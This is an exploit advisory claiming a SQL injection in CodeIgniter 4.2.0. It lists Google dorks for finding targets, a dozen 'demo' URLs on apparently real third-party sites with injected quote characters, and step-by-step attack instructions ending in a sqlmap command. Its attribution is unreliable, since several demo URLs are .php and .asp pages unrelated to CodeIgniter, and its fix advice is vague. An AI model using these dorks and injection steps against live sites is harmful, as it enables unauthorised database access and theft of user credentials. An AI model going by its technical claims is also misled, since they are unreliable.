CodeIgniter CMS 4.2.0 SQL Injection

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[+]Exploit Title : CodeIgniter CMS Version 4.2.0 Sql Injection Vulnerability   
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[+]Exploit Author : E1.Coders   
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[+]Vendor Homepage : https://www.codeigniter.com/   
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[+]Google Dork ONE : searchResult/?title=  
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[+]Google Dork Two : Job/searchResult/?title=   
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[+]Date : 15 / 05 / 2022   
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[+]Tested On : windows + linux   
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[+]~ ~ ~~ ~ ~~ ~ ~~ ~ ~~ ~ ~~ ~ ~~ ~ ~~ ~ ~~ ~ ~~ ~ ~~ ~ ~~ ~ ~~ ~ ~~ ~ ~~ ~ ~~>DESCRITION <~ ~ ~   
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[+] CodeIgniter CMS suffers from a remote SQL injection vulnerability.   
[+] "codeigniter vulnerability ::$DATA view source code"  
[+] Note that this find contains information about the site.  
[+] CodeIgniter CMS SQL injection vulnerabilities were found and confirmed in the software as an anonymous user.  
[+] A successful attack could allow an unknown attacker to access information such as username and password hashes stored in the database.  
[+] The following URLs and parameters have been confirmed to suffer from SQL injection.   
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[+]~ ~ ~~ ~ ~~ ~ ~~ ~ ~~ ~ ~~ ~ ~~ ~ ~~ ~ ~~ ~ ~~ ~ ~~ ~ ~~ ~ ~~ ~ ~~ ~ ~~ ~ ~~> Location <~ ~ ~   
[+] SQL ERROR Location   
[+] http://www.site.com/Job/searchResult/?title=[SQL]   
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[+]~ ~ ~~ ~ ~~ ~ ~~ ~ ~~ ~ ~~ ~ ~~ ~ ~~ ~ ~~ ~ ~~ ~ ~ ~~ ~ ~~ ~ ~~ ~~~~~~ ~~ ~> DEMO <~ ~ ~   
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[+] ERROR : https://[removed].com/Job/searchResult/?title=123%27  
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[+] ERROR : https://[removed].com/Job/city/%D8%A7%D8%B3%D8%AA%D8%AE%D8%AF%D8%A7%D9%85-%D9%85%D8%B4%D9%87%D8%AF' (OR= or ==)  
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[+] ERROR : https://[removed].ir/?per_page=400%2  
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[+] ERROR : https://[removed].ir/Job/search/NULL/%D8%A2%D8%A8%D8%A7%D8%AF%D8%A7%D9%86'/NULL/NULL/0  
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[+] ERROR : https://[removed].com/login/ (username = ' Password = ')  
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[+] ERROR : https://[removed].com/search.php?search=1'  
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[+] ERROR : https://[removed].com/news.php?p=7251'  
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[+] ERROR : https://[removed].com/employe/show.php?cvid=14088'  
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[+] ERROR : https://[removed].com/states/%D8%AA%D9%87%D8%B1%D8%A7%D9%86'  
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[+] ERROR : https://[removed].com/fa/index.asp?p=search&search=1  
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[+] ERROR : https://[removed].com/fa/FormView/1026'  
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[+] ERROR : https://[removed].com/fa/formview/1030'  
  
[+] And Google More . . . \ .  
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[+] Methode Attack :  
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[+] Step 1 : Enter the URL of the page that has the problem of sql injection attacks  
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[+] Step 2 : Add a variable " OR ' to the end of the URL "request"  
[+] To display the PHP error related to not controlling the functions that cause the attacker to attack '  
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[+] Step 3 : Use sqlmap: python sqlmap.py -u "https://[removed].com/Job/searchResult/?title=123"  
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[+] About CMS :  
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[+] Codeigniter is an open source web software framework used to build dynamic websites.   
[+] This framework, which is written in PHP language,   
[+] accelerates the development of software by coding from the beginning. This acceleration is done by the framework's libraries,   
[+] many of which make common tasks simple. The first public release of CodeIgniter was on February 28, 2006  
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[+] Explanation of vulnerability :  
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[+] The remote attacker can test the SQL Inject attack by injecting a 'variable' and after displaying the PHP error related to not controlling the functions that cause the SQL Inject attack  
[+] And the attacker can execute attacks with SQL Inject commands or execute attacks with ready tools such as Squat Map.  
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[+] All different parts of the site have this security problem  
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[+] Solution :  
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[+]   
[+] Use parameter input validation to be modified to prevent attacks  
[+] "codeigniter vulnerability ::$DATA view source code"  
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